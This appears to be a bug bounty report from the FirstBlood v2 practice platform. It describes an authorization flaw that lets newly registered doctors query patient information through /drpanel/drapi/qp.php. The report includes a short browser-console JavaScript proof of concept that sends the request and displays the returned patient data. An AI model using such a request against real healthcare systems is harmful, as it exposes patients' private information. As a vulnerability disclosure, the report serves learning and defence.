FirstBlood-#907 — Newly Registered Doctor's can query for patient inforamtion
This issue was discovered on FirstBlood v2

On 2021-10-30, th4nu0x0 Level 2 reported:

Summary:

  • Newly registered doctor's are not allowed to make some API call's but Patient Search endpoint is still accessible.
  • By manually crafting request to /drpanel/drapi/qp.php an Newly registered can view patient information.

Steps To Reproduce:

  • Login to your newly registered account.

  • Paste this code on browser console.

       var xhr = new XMLHttpRequest();
   xhr.open("POST", 'drapi/qp.php', true);
   xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

  xhr.onreadystatechange = function() {
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
      alert(this.responseText);
     } else { } }
 xhr.send("name=");

Impact:

Newly Registered Doctor's can view patient's PII.

P3 Medium

Endpoint: /drpanel/drapi/qp.php

Parameter: NA

Payload: NA

FirstBlood ID: 40
Vulnerability Type: Application/Business Logic

The endpoint qp.php use to respond to GET requests and it should only allow administrators to query for patient information however the developers only fixed the bug partially and it still allowed for doctors to query for patient information. query.php is related to this file and in v1 allowed for Doctors and admins, but query.php was fixed completely whereas qp.php was not.